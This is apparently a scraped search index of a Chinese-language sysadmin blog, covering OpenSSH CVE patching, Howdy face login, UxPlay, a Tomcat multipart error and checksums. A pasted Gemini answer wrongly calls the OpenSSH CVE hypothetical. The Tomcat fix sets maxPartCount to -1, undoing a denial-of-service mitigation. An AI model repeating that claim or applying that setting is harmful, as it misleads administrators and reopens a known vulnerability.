MitM 攻擊風險。 3. **網路安全措施**： - 部署網路層防護（如 VPN 或 IP 限制）以減少 MitM 攻擊的可能性。 - 監控 SSH 連線日誌（`/var/log/secure` 或 `/var/log/auth.log`）以偵測異常活動。 4. **漏洞掃描與監控**： - 使用 Qualys 或其他漏洞掃描工具檢查系統是否包含易受影響的 OpenSSH 版本。[](https://blog.qualys.com/vulnerabilities-threat-research/2025/02/18/qualys-tru-discovers-two-vulnerabilities-in-openssh-cve-2025-26465-cve-2025-26466) - 定期檢查 Oracle 安全公告和 Red Hat CVE 頁面以獲取最新資訊。 5. **備份與應急計畫**： - 確保關鍵系統有最新備份，以應對潛在的資料外洩或系統損壞。 - 制定應急響應計畫，針對 SSH 相關攻擊進行快速應對。 --- ### 5. **總結** CVE-2025-26465 對 Oracle Linux 的影響主要集中在運行 OpenSSH 6.8p1 至 9.9p1 的系統上，特別是當 `VerifyHostKeyDNS` 選項啟用時，可能面臨中間人攻擊風險。Oracle Linux 8 和 9 可能受影響，但 Oracle 尚未在 2025 年 4 月的關鍵補丁更新中明確提及此漏洞的修補，推測其修補可能透過 OpenSSH 的上游更新（9.9p2）或 Oracle Linux 套件更新解決。 **建議行動**： - 立即檢查並升級 OpenSSH 至 9.9p2。 - 停用 `VerifyHostKeyDNS` 選項作為臨時緩解措施。 - 持續監控 Oracle 安全公告以獲取針對 Oracle Linux 的官方修補。 如需進一步確認 Oracle Linux 的修補狀態，建議訪問 Oracle 的安全公告頁面（https://linux.oracle.com/security）或聯繫 Oracle 支援團隊。 **來源**： - Qualys 博客[](https://blog.qualys.com/vulnerabilities-threat-research/2025/02/18/qualys-tru-discovers-two-vulnerabilities-in-openssh-cve-2025-26465-cve-2025-26466) - OpenSSH 釋出版本說明[](https://www.upwind.io/feed/openssh-vulnerabilities-cve-2025-26465-and-cve-2025-26466-enable-man-in-the-middle-and-dos-attacks) - The Hacker News[](https://thehackernews.com/2024/07/new-openssh-vulnerability-could-lead-to.html) - Oracle 關鍵補丁更新[](https://www.oracle.com/security-alerts/cpuapr2025.html) - Red Hat CVE 頁面[](https://almalinux.org/blog/2025-02-20-test-patches-for-cve-2025-26465/) 若您需要更詳細的技術分析或特定 Oracle Linux 版本的修補指令，請告知，我可進一步協助！ Gemini # 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 好的，我們來研究一下假設性的 CVE-2025-26465 漏洞在 Oracle Linux 上的影響。 請注意，您提供的 CVE 編號 (CVE-2025-xxxx) 和部分 URL 指向的是未來日期 (例如 2025 年 2 月、2025 年 4 月)。截至目前 (2025 年 4 月 24 日)，這些 CVE 編號和對應的安全公告/文章很可能是 **假設性的** 或尚未公開發布。因此，無法從這些來源獲取關於一個真實存在的 CVE-2025-26465 的具體資訊。 然而，我們可以根據您提供的來源類型，推斷 **如果** 這樣一個漏洞存在並且影響了 OpenSSH，那麼在 Oracle Linux 上的研究和影響評估會是什麼樣子： **研究過程與潛在影響分析 (基於假設情境)** 1. **漏洞性質 (來自 OpenSSH、Qualys、Hacker News 的資訊):** * **來源:** `https://www.openssh.com/releasenotes.html`, `https://blog.qualys.com/vulnerabilities-threat-research/2025/02/18/qualys-tru-discovers-two-vulnerabilities-in-openssh-cve-2025-26465-cve-2025-26466`, `https://thehackernews.com/2025/02/new-openssh-flaws-enable-man-in-middle.html` * **假設資訊:** CVE-2025-26465 是由 Qualys 發現並在 2025 年 2 月左右揭露的 OpenSSH 漏洞。根據 Hacker News 的標題，它可能允許中間人攻擊 (Man-in-the-Middle, MitM) 或其他安全問題。OpenSSH 的官方發行說明會詳細說明此漏洞的技術細節、影響以及修復此漏洞的 OpenSSH 版本 (例如，假設為 OpenSSH 9.8 版修復了此問題)。 2. **對 Linux 發行版的影響 (來自 Red Hat 的資訊):** * **來源:** `https://access.redhat.com/security/cve/cve-2025-26465` * **假設資訊:** 由於 Oracle Linux 是基於 Red Hat Enterprise Linux (RHEL) 原始碼建構的，Red Hat 的 CVE 頁面非常重要。此頁面會列出： * 哪些 RHEL 版本 (例如 RHEL 7, 8, 9) 內建了受影響的 OpenSSH 版本。 * 漏洞的影響評級 (例如：中度、重要、嚴重)。 * 修復此漏洞的 `openssh` 軟體包版本以及發布狀態 (例如：已發布修補程式、計畫中、不受影響等)。 * Oracle Linux 通常會緊隨 RHEL 發布對應的修補程式。 3. **對 Oracle Linux 的具體影響與修補 (來自 Oracle 的資訊):** * **來源:** `https://www.oracle.com/security-alerts/cpuapr2025.html` (Oracle 2025 年 4 月份關鍵修補程式更新) * **假設資訊:** 這是判斷 Oracle Linux 官方影響和修補狀態的最權威來源。如果 Oracle Linux 受 CVE-2025-26465 影響，這個頁面 **應該會**： * 明確列出 CVE-2025-26465。 * 指明受影響的 Oracle 產品，包括 Oracle Linux 的特定版本 (例如 Oracle Linux 7, Oracle Linux 8, Oracle Linux 9)。 * 確認受影響的元件是 `openssh` 套件。 * 提供 Oracle Linux 安全公告 (ELSA - Oracle Linux Security Advisory) 的編號，例如 `ELSA-2025-xxxx`。這個公告包含了修補程式的詳細資訊和安裝說明。 * 說明風險評分 (CVSS Score) 和修補的可用性。 **總結 (假設情境)** 如果 CVE-2025-26465 是一個真實影響 OpenSSH 的漏洞，並且已在您提供的來源中被記錄： 1. **影響範圍:** 所有包含 **未修補版本 OpenSSH** 的 Oracle Linux 系統 (具體版本需參考 Oracle CPU 和 Red Hat CVE 頁面) 都會受到影響。根據漏洞性質 (假設為 MitM)，可能導致連線被攔截、敏感資訊洩漏或連線被篡改。 2. **解決方案:** Oracle 會透過其正常的安全更新管道發布修補過的 `openssh` 套件。系統管理員需要參考 Oracle 發布的 ELSA 公告，並使用 `yum` (在 Oracle Linux 7) 或 `dnf` (在 Oracle Linux 8 及更新版本) 來更新 `openssh` 套件。 * 指令範例：`sudo yum update openssh` 或 `sudo dnf update openssh` 3. **建議:** 定期關注 Oracle 的關鍵修補程式更新 (CPU) 和 Oracle Linux 的安全公告 (ELSA) 是確保系統安全的關鍵。一旦 Oracle 確認漏洞影響並發布修補程式，應盡快套用更新。 **再次強調：** 由於您提供的 CVE 和 URL 指向未來或假設的事件，目前無法提供關於 CVE-2025-26465 的真實影響報告。上述分析是基於 **如果** 這些來源描述了一個真實情況下的處理流程。 處理方式 # Oracle Linux 9 # 檔案清單 # openssh-8.7p1-45.0.2.el9.x86_64.rpm openssh-clients-8.7p1-45.0.2.el9.x86_64.rpm openssh-server-8.7p1-45.0.2.el9.x86_64.rpm 安裝方式 # 1 sudo rpm -Uvh ./*.rpm 確認方式 # 1 rpm -q --changelog openssh | grep CVE-2025-26465 1 2 [jameschang@template-oracle-linux-9 CVE-2025-26465]$ rpm -q --changelog openssh | grep CVE-2025-26465 is on (CVE-2025-26465). 參考資料 # Red Hat Enterprise Linux - CVE-2025-26465 Red Hat Enterprise Linux - CVE-2025-26466 Oracle Linux CVE-2025-26465 ","date":"June 30, 2025","externalUrl":null,"permalink":"/worknot/fix-cve-2025-26465/","section":"Worknots","summary":"修補 CVE-2025-26465 方式\nCVE-2025-26465 # OpenSSH 是一套基於 SSH 協定的安全網路實用程式，這對於透過不安全網路進行通訊至關重要，可提供強大的加密功能以確保隱私與安全檔案傳輸，使其成為遠端伺服器管理和安全資料通訊的重要工具。OpenSSH以其廣泛的安全性和身分驗證功能而聞名，支援各種加密技術，並且是多個類 Unix 系統（包括 macOS 和 Linux）的標準配置。OpenSSH 官方於 2025 年 2 月 18 日發布新版本 9.9p2，修補以下兩個漏洞：\n","title":"修補 CVE-2025-26465","type":"worknot"},{"content":" 環境 # OS: Debian 12 安裝 # 1 git clone git@github.com:boltgolt/howdy.git 1 2 3 4 5 6 7 sudo apt-get update \u0026amp;\u0026amp; sudo apt-get install -y \\ python3 python3-pip python3-setuptools python3-wheel \\ cmake make build-essential \\ libpam0g-dev libinih-dev libevdev-dev python3-opencv \\ python3-dev libopencv-dev python3-pip python3-venv v4l-utils sudo pip install dlib opencv-python --break-system-packages sudo ln -s /usr/bin/python3 /usr/bin/python 1 2 3 meson setup build meson compile -C build meson install -C build 1 v4l2-ctl --list-devices 1 sudo howdy config 1 device_path: /dev/video0 1 sudo howdy -U pollochang add /etc/pam.d/common-auth 1 auth sufficient /usr/local/lib/x86_64-linux-gnu/security/pam_howdy.so /etc/pam.d/gdm-password 1 2 3 4 @include common-auth auth sufficient /usr/local/lib/x86_64-linux-gnu/security/pam_howdy.so ... @include common-account 1 sudo systemctl restart gdm3 ","date":"June 29, 2025","externalUrl":null,"permalink":"/worknot/howdy/","section":"Worknots","summary":"環境 # OS: Debian 12 安裝 # 1 git clone git@github.com:boltgolt/howdy.git 1 2 3 4 5 6 7 sudo apt-get update \u0026\u0026 sudo apt-get install -y \\ python3 python3-pip python3-setuptools python3-wheel \\ cmake make build-essential \\ libpam0g-dev libinih-dev libevdev-dev python3-opencv \\ python3-dev libopencv-dev python3-pip python3-venv v4l-utils sudo pip install dlib opencv-python --break-system-packages sudo ln -s /usr/bin/python3 /usr/bin/python 1 2 3 meson setup build meson compile -C build meson install -C build 1 v4l2-ctl --list-devices 1 sudo howdy config 1 device_path: /dev/video0 1 sudo howdy -U pollochang add /etc/pam.d/common-auth 1 auth sufficient /usr/local/lib/x86_64-linux-gnu/security/pam_howdy.so /etc/pam.d/gdm-password 1 2 3 4 @include common-auth auth sufficient /usr/local/lib/x86_64-linux-gnu/security/pam_howdy.so ... @include common-account 1 sudo systemctl restart gdm3 ","title":"howdy 人臉辨識","type":"worknot"},{"content":" 安裝 UxPlay # 安裝必要套件\n1 2 3 sudo apt install pkg-config pkgconf cmake build-essential libssl-dev libplist-dev \\ libgstreamer1.0-dev libgstreamer-plugins-base1.0-dev 1 2 3 cmake . make -j $(nproc) sudo make install 1 2 3 sudo systemctl enable --now avahi-daemon.service sudo firewall-cmd --reload /etc/firewalld/services/uxplay.xml 1 2 3 4 5 6 7 8 \u0026lt;?xml version=\u0026#34;1.0\u0026#34; encoding=\u0026#34;utf-8\u0026#34;?\u0026gt; \u0026lt;service\u0026gt; \u0026lt;description\u0026gt;An open-source AirPlay mirroring server based on RPiPlay\u0026lt;/description\u0026gt; \u0026lt;port port=\u0026#34;6000-6001\u0026#34; protocol=\u0026#34;udp\u0026#34;/\u0026gt; \u0026lt;port port=\u0026#34;7011\u0026#34; protocol=\u0026#34;udp\u0026#34;/\u0026gt; \u0026lt;port port=\u0026#34;7000-7001\u0026#34; protocol=\u0026#34;tcp\u0026#34;/\u0026gt; \u0026lt;port port=\u0026#34;7100\u0026#34; protocol=\u0026#34;tcp\u0026#34;/\u0026gt; \u0026lt;/service\u0026gt; 1 2 3 sudo systemctl restart firewalld sudo firewall-cmd --zone=public --add-service=uxplay --permanent sudo firewall-cmd --reload 1 /usr/local/bin/uxplay -p -vs waylandsink -fps 60 -s 1920x1080 ~/.config/systemd/user/uxplay.service 1 2 3 4 5 6 7 8 9 [Unit] Description=UxPlay service After=syslog.target network.target [Service] ExecStart=/usr/local/bin/uxplay -p 7000 -vs waylandsink -fs -fps 60 -s 1920x1080 [Install] WantedBy=default.target 參考資料 # UxPlay: AirPlay-Mirror and AirPlay-Audio server 用 UxPlay 來取代 RpiPlay 將 iPad/iPhone 畫面鏡射到電腦螢幕上(Debian Linux Desktop系統) ","date":"June 29, 2025","externalUrl":null,"permalink":"/worknot/uxplay/","section":"Worknots","summary":"安裝 UxPlay # 安裝必要套件\n1 2 3 sudo apt install pkg-config pkgconf cmake build-essential libssl-dev libplist-dev \\ libgstreamer1.0-dev libgstreamer-plugins-base1.0-dev 1 2 3 cmake . make -j $(nproc) sudo make install 1 2 3 sudo systemctl enable --now avahi-daemon.service sudo firewall-cmd --reload /etc/firewalld/services/uxplay.xml 1 2 3 4 5 6 7 8 \u003c?xml version=\"1.0\" encoding=\"utf-8\"?\u003e \u003cservice\u003e \u003cdescription\u003eAn open-source AirPlay mirroring server based on RPiPlay\u003c/description\u003e \u003cport port=\"6000-6001\" protocol=\"udp\"/\u003e \u003cport port=\"7011\" protocol=\"udp\"/\u003e \u003cport port=\"7000-7001\" protocol=\"tcp\"/\u003e \u003cport port=\"7100\" protocol=\"tcp\"/\u003e \u003c/service\u003e 1 2 3 sudo systemctl restart firewalld sudo firewall-cmd --zone=public --add-service=uxplay --permanent sudo firewall-cmd --reload 1 /usr/local/bin/uxplay -p -vs waylandsink -fps 60 -s 1920x1080 ~/.config/systemd/user/uxplay.service 1 2 3 4 5 6 7 8 9 [Unit] Description=UxPlay service After=syslog.target network.target [Service] ExecStart=/usr/local/bin/uxplay -p 7000 -vs waylandsink -fs -fps 60 -s 1920x1080 [Install] WantedBy=default.target 參考資料 # UxPlay: AirPlay-Mirror and AirPlay-Audio server 用 UxPlay 來取代 RpiPlay 將 iPad/iPhone 畫面鏡射到電腦螢幕上(Debian Linux Desktop系統) ","title":"UxPlay - IPhone 螢幕投影","type":"worknot"},{"content":"","date":"June 18, 2025","externalUrl":null,"permalink":"/tags/tomcat/","section":"Tags","summary":"","title":"Tomcat","type":"tags"},{"content":"","date":"June 18, 2025","externalUrl":null,"permalink":"/tags/tomcat-9.0.106/","section":"Tags","summary":"","title":"Tomcat 9.0.106","type":"tags"},{"content":"這幾天在公司測試環境頻繁的出現下面的錯誤訊息:\n1 Caused by: org.springframework.web.multipart.MultipartException: Could not parse multipart servlet request; nested exception is org.apache.tomcat.util.http.fileupload.impl.FileCountLimitExceededException: attachment 這條訊息是這樣說的: 檔案數量限制 (Could not parse multipart servlet request) 。\n我苦思了兩天，回想這一個禮拜我都沒有任何維護測試環境的紀錄，為什麼卻在這兩天開發的工程師頻頻像我反應類似的錯誤訊息，而且他們都說自己的本機環境不會上道測試機反而會出錯。最終我實在忍不住到處詢問期胎維護工程師。我們大約找了半天左右才發現是 tomcat 9.0.106 新增對 multi-part request 的限制，預設是 10。\n我的天呀！小版本號不修復 bug 給我新增個 API 限制！這違反 「語義化版本控制、向下相容性和最少驚訝原則」。我只能說: 「我好驚訝！好險！這是發生在測試環境！」。\n另外，我還認真的尋找原始需求出處: Refactor TaskQueue to use RetryableQueue interface #861，其中的 需求敘述並未提到 新增 maxPartCount 的限制，實在不清楚為什麼新增。或許開發者在開發過程中靈光一閃加了過去被提出的需求也說不定。\n以下是 doc 文件的原文\n1 2 3 4 5 6 7 \u0026lt;tr id=\u0026#34;Attributes_Common Attributes_maxPartCount\u0026#34;\u0026gt;\u0026lt;td\u0026gt;\u0026lt;code class=\u0026#34;attributeName\u0026#34;\u0026gt;maxPartCount\u0026lt;/code\u0026gt;\u0026lt;/td\u0026gt;\u0026lt;td\u0026gt; \u0026lt;p\u0026gt;The maximum total number of parts permitted in a request where the content type is \u0026lt;code\u0026gt;multipart/form-data\u0026lt;/code\u0026gt;. This limit is in addition to \u0026lt;code\u0026gt;maxParameterCount\u0026lt;/code\u0026gt;. Requests that exceed this limit will be rejected. A value of less than 0 means no limit. If not specified, a default of 10 is used.\u0026lt;/p\u0026gt; \u0026lt;/td\u0026gt;\u0026lt;/tr\u0026gt; 問題排除方式 新增: maxPartCount=\u0026quot;-1\u0026quot;\n1 2 3 4 5 \u0026lt;!-- 省略 --\u0026gt; \u0026lt;Connector maxPartCount=\u0026#34;-1\u0026#34; /\u0026gt; \u0026lt;!-- 省略 --\u0026gt; 好吧～抱怨也就到這了，幸好是發生在測試機，發生在正式環境後果不堪而想。另外，經過這次也有發現人機溝通的重要性。因為tomcat更新得很頻繁，過去維運團隊採用了tomcat 小本號更新，雖然運作了好幾年都沒有問題但是缺少更新的日誌與通知，花費了數天尋找問題。也許可以加強這一小快，讓未來出現類似的狀況可以更快被發現。\n2025-06-19 07:36 更新\n後來我尋找信件紀錄發現新增 maxPartCount 參數是因為要解決 CVE-2025-48988 漏洞。\n以下是信件內容\n1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 [SECURITY] CVE-2025-48988 Apache Tomcat - DoS in multipart upload CVE-2025-48988 Apache Tomcat - DoS in multipart upload Severity: Important Vendor: The Apache Software Foundation Versions Affected: Apache Tomcat 11.0.0-M1 to 11.0.7 Apache Tomcat 10.1.0-M1 to 10.1.41 Apache Tomcat 9.0.0.M1 to 9.0.105 Description: Tomcat used the same limit for both request parameters and parts in a multipart request. Since uploaded parts also include headers which must be retained, processing multipart requests can result in significantly more memory usage. A specially crafted request that used a large number of parts could trigger excessive memory usage leading to a DoS. The maximum number of parts is now configurable (maxPartCount on the Connector) with a default of 10 parts. Mitigation: Users of the affected versions should apply one of the following mitigations: - Upgrade to Apache Tomcat 11.0.8 or later - Upgrade to Apache Tomcat 10.1.42 or later - Upgrade to Apache Tomcat 9.0.106 or later Credit: The vulnerability was identified by the TERASOLUNA Framework Security Team of NTT DATA Group Corporation History: 2025-06-16 Original advisory References: [1] https://tomcat.apache.org/security-11.html [2] https://tomcat.apache.org/security-10.html [3] https://tomcat.apache.org/security-9.html 信件連結: https://lists.apache.org/thread/nzkqsok8t42qofgqfmck536mtyzygp18\n","date":"June 18, 2025","externalUrl":null,"permalink":"/worknot/tomcat-attachment-error/","section":"Worknots","summary":"這幾天在公司測試環境頻繁的出現下面的錯誤訊息:\n1 Caused by: org.springframework.web.multipart.MultipartException: Could not parse multipart servlet request; nested exception is org.apache.tomcat.util.http.fileupload.impl.FileCountLimitExceededException: attachment 這條訊息是這樣說的: 檔案數量限制 (Could not parse multipart servlet request) 。\n我苦思了兩天，回想這一個禮拜我都沒有任何維護測試環境的紀錄，為什麼卻在這兩天開發的工程師頻頻像我反應類似的錯誤訊息，而且他們都說自己的本機環境不會上道測試機反而會出錯。最終我實在忍不住到處詢問期胎維護工程師。我們大約找了半天左右才發現是 tomcat 9.0.106 新增對 multi-part request 的限制，預設是 10。\n","title":"Tomcat Attachment Error","type":"worknot"},{"content":"","date":"June 14, 2025","externalUrl":null,"permalink":"/categories/kvm/","section":"Categories","summary":"","title":"KVM","type":"categories"},{"content":" KVM 網路介面 # virtio: 半虛擬化網路介面接近原生的效能。 spapr-vlan: QEMU 模擬的網路介面類型之一，專為 PowerPC (sPAPR) 架構的 KVM 虛擬機器設計，特別是用於 AIX 等 Power 架構的客戶端作業系統。 ","date":"June 14, 2025","externalUrl":null,"permalink":"/worknot/kvm-network/","section":"Worknots","summary":"KVM 網路介面 # virtio: 半虛擬化網路介面接近原生的效能。 spapr-vlan: QEMU 模擬的網路介面類型之一，專為 PowerPC (sPAPR) 架構的 KVM 虛擬機器設計，特別是用於 AIX 等 Power 架構的客戶端作業系統。 ","title":"KVM 網路","type":"worknot"},{"content":"","date":"June 14, 2025","externalUrl":null,"permalink":"/tags/debain/","section":"Tags","summary":"","title":"Debain","type":"tags"},{"content":" 移除 Gnome 桌面預設 # 1 sudo apt remove packagekit 移除 packagekit : 因為我想100%決定我何時更新 ","date":"June 14, 2025","externalUrl":null,"permalink":"/worknot/my-debian-policy/","section":"Worknots","summary":"移除 Gnome 桌面預設 # 1 sudo apt remove packagekit 移除 packagekit : 因為我想100%決定我何時更新 ","title":"我使用Debian的方式","type":"worknot"},{"content":"","date":"June 11, 2025","externalUrl":null,"permalink":"/tags/db2/","section":"Tags","summary":"","title":"DB2","type":"tags"},{"content":"","date":"June 11, 2025","externalUrl":null,"permalink":"/tags/ibm/","section":"Tags","summary":"","title":"IBM","type":"tags"},{"content":" oracle # AIX.PPC64_193000_db_home.zip tags: oracle sha256sum: 03cb2aff2984b47597108572048d4ee432c7e05a74362829f5ddb5540baf56b1 oracle-database-preinstall-19c-1.0-2.el8.x86_64.rpm tags: oracle sha256sum: 141926e265ff3cbc8ce7c8a67ab2ad2d40d5fb4de3a105d0cdd20de4e23dbd2a oracle-database-preinstall-21c-1.0-1.el8.x86_64.rpm tags: oracle sha256sum: 3e99be00f010988370885c1e58acbc6d8a93c6d2d790cbb95420dd8ea554b36b V982063-01.zip tags: oracle sha256sum: ba8329c757133da313ed3b6d7f86c5ac42cd9970a28bf2e6233f3235233aa8d8 v9.7fp7_linuxx64_server.tar.gz tags: db2 sha256sum: 8b9a15035204aa99dfc00217849cf79996adb1b625306951121e849c48dc344b OracleLinux-R9-U6-x86_64-dvd.iso tags: oracle, Oracle Linux sha256sum: 6aab225832263299c209aa1096b665e36c789ea6d0da77c19920e6ad21620bb7 OracleLinux-R9-U6-x86_64-boot.iso tags: oracle, Oracle Linux sha256sum: d420b4d02ca8172236dfe60cb2c0d2b407645e9a8ed460c5ccdf7b6a868ea8de OracleLinux-R9-U6-x86_64-boot-uek.iso tags: oracle, Oracle Linux sha256sum: 499dd0df4969fbd06d0d3083a572504b51aca5a4428bcbff51a68c47925bcbad OracleLinux-R9-U6-aarch64-dvd.iso tags: oracle, Oracle Linux sha256sum: 5480e921172545afd6dd6c09b6e1d6df8f24ca109a2ca4ce6b8b641597bb67ea OracleLinux-R9-U6-aarch64-boot-uek.iso tags: oracle, Oracle Linux sha256sum: 18ad394a43bfb3ade82b5625fa335d21ba544fd91ddb4f0bdb5edeed6b76fda2 OracleLinux-R8-U10-x86_64-dvd.iso tags: oracle, Oracle Linux sha256sum: 7676a80eeaafa16903eebb2abba147a3afe230b130cc066d56fdd6854d8da900 OracleLinux-R8-U10-x86_64-boot.iso tags: oracle, Oracle Linux sha256sum: c7009ca2b28ddbedd6c09fc9141f933dec01a6ea73c503634786809746af1906 OracleLinux-R8-U10-x86_64-boot-uek.iso tags: oracle, Oracle Linux sha256sum: a14ef5c626b6fba5fa0667068d3a9cabbb533d8a6ab45635078e6bd9d87d80d6 OracleLinux-R8-U10-aarch64-dvd.iso tags: oracle, Oracle Linux sha256sum: feff28528569308896f18f7da330a726cc94563fd8c7f26f64fe486961fb490e OracleLinux-R8-U10-boot-uek.iso tags: oracle, Oracle Linux sha256sum: f45bcb23008020d6f210fd1eea598e2aa98800852c54925744328641af83ff0c OracleLinux-R7-U9-Server-x86_64-dvd.iso tags: oracle, Oracle Linux sha256sum: 28d2928ded40baddcd11884b9a6a611429df12897784923c346057ec5cdd1012 x86_64-boot-uek.iso tags: oracle, Oracle Linux sha256sum: 6da0323423f3a52d20d1021c2651885052319ca4ace7532859d8d20640829004 x86_64-boot.iso tags: oracle, Oracle Linux sha256sum: 4b87b6009500f2eb81e52548c6c31f43dc60797193da7c4c47ff9381e14fff6e aarch64-boot-uek.iso tags: oracle, Oracle Linux sha256sum: 0e771bf2b2439d79f8538a9b93d0e1f78b04c045e5644406471d34222fc9f35c OracleLinux-R7-U9-Server-aarch64-dvd.iso tags: oracle, Oracle Linux sha256sum: fd2c1b1e26858576534f6e6c4cf000a15cd81bec010dad5e827b204a14a1750e V978757-01.iso tags: oracle, Oracle Linux sha256sum: 625044388ee60a031965a42a32f4c1de0c029268975edcd542fd14160e0dadcb OracleLinux-R6-U10-Server-x86_64-dvd.iso tags: oracle, Oracle Linux sha256sum: 625044388ee60a031965a42a32f4c1de0c029268975edcd542fd14160e0dadcb x86_64-boot.iso tags: oracle, Oracle Linux , V978753-01.iso sha256sum: b8f73738bc605b952f5bf2ed04c40c880e5c119588b3f0af647e237fae2232b8 x86_64-boot-uek.iso tags: oracle, Oracle Linux , V978755-01.iso sha256sum: 001c05d5ea90341de768ba8bde4bbb0209f2b5e06996dc8637b9d3e86df206fe OracleLinux-R6-U10-Server-i386-dvd.iso tags: oracle, Oracle Linux, V978754-01.iso sha256sum: 73755329985c96805c1d3ef31dfcb7f7561cd139cc8fe9226b8e794ad7ea4bd4 i386-boot.iso tags: oracle, Oracle Linux, V978751-01.iso sha256sum: 6a16c63d9d22f333181e7055b0f839e3f3e805bded281ab165cf4d2b4be5af20 i386-boot-uek.iso tags: oracle, Oracle Linux, V978752-01.iso sha256sum: 7a6478f87c54453eedc0916d67bbfbf892cfb71a08bca7fac580e64b830751c8 jasperReports # jasperReportServer-ultimate-guide-7.9.pdf tags: jasperReports sha256sum: 46322eaa9b37b0322b90c07981c3dc30617fb697735257ef25d6d570749129ba Jasperserver-7.8.0.zip tags: jasperReports 28bff90c3f2cd4ef38948a700ea3ee829c75bca168c2cb1409da844e7ca294d5 TIB_js-jrs-cp_7.8.0_linux_x86_64.run tags: jasperReports e19e3d39b73f29ee96987c271d75b859c800e37913d11c3b5c855a50634982af TIB_js-jrs-cp_8.0.0_bin.zip tags: jasperReports 6f60dca5b4dd48ce20e7ea0e42902c62082dca89f3695188890224de91f98a52 TIB_js-jrs-cp_8.0.0_macosx_x86_64.zip tags: jasperReports 6a6e5e109a92e9d95924ec21dd0d95606a1675ee2997d77b77013186248151cc TIB_js-jrs-cp_8.0.0_win_x86_64.exe tags: jasperReports 6cee8503a493582923d00caf972f33975afff6550ce79e3b0bc1bb1cc7944792 TIB_js-jrs-cp_8.1.0_bin.zip tags: jasperReports 4c1edac34490c99c14d142acdac432154c94a7226fa718749afaf3e2d3739e30 TIB_js-jrs-cp_8.2.0_bin.zip tags: jasperReports 3659c5e6be23ab49a5a095741fd8111d8246b1622788e44b2af8b2295a384575 ","date":"June 11, 2025","externalUrl":null,"permalink":"/worknot/file-checksum/","section":"Worknots","summary":"oracle # AIX.PPC64_193000_db_home.zip tags: oracle sha256sum: 03cb2aff2984b47597108572048d4ee432c7e05a74362829f5ddb5540baf56b1 oracle-database-preinstall-19c-1.0-2.el8.x86_64.rpm tags: oracle sha256sum: 141926e265ff3cbc8ce7c8a67ab2ad2d40d5fb4de3a105d0cdd20de4e23dbd2a oracle-database-preinstall-21c-1.0-1.el8.x86_64.rpm tags: oracle sha256sum: 3e99be00f010988370885c1e58acbc6d8a93c6d2d790cbb95420dd8ea554b36b V982063-01.zip tags: oracle sha256sum: ba8329c757133da313ed3b6d7f86c5ac42cd9970a28bf2e6233f3235233aa8d8 v9.7fp7_linuxx64_server.tar.gz tags: db2 sha256sum: 8b9a15035204aa99dfc00217849cf79996adb1b625306951121e849c48dc344b OracleLinux-R9-U6-x86_64-dvd.iso tags: oracle, Oracle Linux sha256sum: 6aab225832263299c209aa1096b665e36c789ea6d0da77c19920e6ad21620bb7 OracleLinux-R9-U6-x86_64-boot.iso tags: oracle, Oracle Linux sha256sum: d420b4d02ca8172236dfe60cb2c0d2b407645e9a8ed460c5ccdf7b6a868ea8de OracleLinux-R9-U6-x86_64-boot-uek.iso tags: oracle, Oracle Linux sha256sum: 499dd0df4969fbd06d0d3083a572504b51aca5a4428bcbff51a68c47925bcbad OracleLinux-R9-U6-aarch64-dvd.iso tags: oracle, Oracle Linux sha256sum: 5480e921172545afd6dd6c09b6e1d6df8f24ca109a2ca4ce6b8b641597bb67ea OracleLinux-R9-U6-aarch64-boot-uek.iso tags: oracle, Oracle Linux sha256sum: 18ad394a43bfb3ade82b5625fa335d21ba544fd91ddb4f0bdb5edeed6b76fda2 OracleLinux-R8-U10-x86_64-dvd.iso tags: oracle, Oracle Linux sha256sum: 7676a80eeaafa16903eebb2abba147a3afe230b130cc066d56fdd6854d8da900 OracleLinux-R8-U10-x86_64-boot.iso tags: oracle, Oracle Linux sha256sum: c7009ca2b28ddbedd6c09fc9141f933dec01a6ea73c503634786809746af1906 OracleLinux-R8-U10-x86_64-boot-uek.iso tags: oracle, Oracle Linux sha256sum: a14ef5c626b6fba5fa0667068d3a9cabbb533d8a6ab45635078e6bd9d87d80d6 OracleLinux-R8-U10-aarch64-dvd.iso tags: oracle, Oracle Linux sha256sum: feff28528569308896f18f7da330a726cc94563fd8c7f26f64fe486961fb490e OracleLinux-R8-U10-boot-uek.iso tags: oracle, Oracle Linux sha256sum: f45bcb23008020d6f210fd1eea598e2aa98800852c54925744328641af83ff0c OracleLinux-R7-U9-Server-x86_64-dvd.iso tags: oracle, Oracle Linux sha256sum: 28d2928ded40baddcd11884b9a6a611429df12897784923c346057ec5cdd1012 x86_64-boot-uek.iso tags: oracle, Oracle Linux sha256sum: 6da0323423f3a52d20d1021c2651885052319ca4ace7532859d8d20640829004 x86_64-boot.iso tags: oracle, Oracle Linux sha256sum: 4b87b6009500f2eb81e52548c6c31f43dc60797193da7c4c47ff9381e14fff6e aarch64-boot-uek.iso tags: oracle, Oracle Linux sha256sum: 0e771bf2b2439d79f8538a9b93d0e1f78b04c045e5644406471d34222fc9f35c OracleLinux-R7-U9-Server-aarch64-dvd.iso tags: oracle, Oracle Linux sha256sum: fd2c1b1e26858576534f6e6c4cf000a15cd81bec010dad5e827b204a14a1750e V978757-01.iso tags: oracle, Oracle Linux sha256sum: 625044388ee60a031965a42a32f4c1de0c029268975edcd542fd14160e0dadcb OracleLinux-R6-U10-Server-x86_64-dvd.iso tags: oracle, Oracle Linux sha256sum: 625044388ee60a031965a42a32f4c1de0c029268975edcd542fd14160e0dadcb x86_64-boot.iso tags: oracle, Oracle Linux , V978753-01.iso sha256sum: b8f73738bc605b952f5bf2ed04c40c880e5c119588b3f0af647e237fae2232b8 x86_64-boot-uek.iso tags: oracle, Oracle Linux , V978755-01.iso sha256sum: 001c05d5ea90341de768ba8bde4bbb0209f2b5e06996dc8637b9d3e86df206fe OracleLinux-R6-U10-Server-i386-dvd.iso tags: oracle, Oracle Linux, V978754-01.iso sha256sum: 73755329985c96805c1d3ef31dfcb7f7561cd139cc8fe9226b8e794ad7ea4bd4 i386-boot.iso tags: oracle, Oracle Linux, V978751-01.iso sha256sum: 6a16c63d9d22f333181e7055b0f839e3f3e805bded281ab165cf4d2b4be5af20 i386-boot-uek.iso tags: oracle, Oracle Linux, V978752-01.iso sha256sum: 7a6478f87c54453eedc0916d67bbfbf892cfb71a08bca7fac580e64b830751c8 jasperReports # jasperReportServer-ultimate-guide-7.9.pdf tags: jasperReports sha256sum: 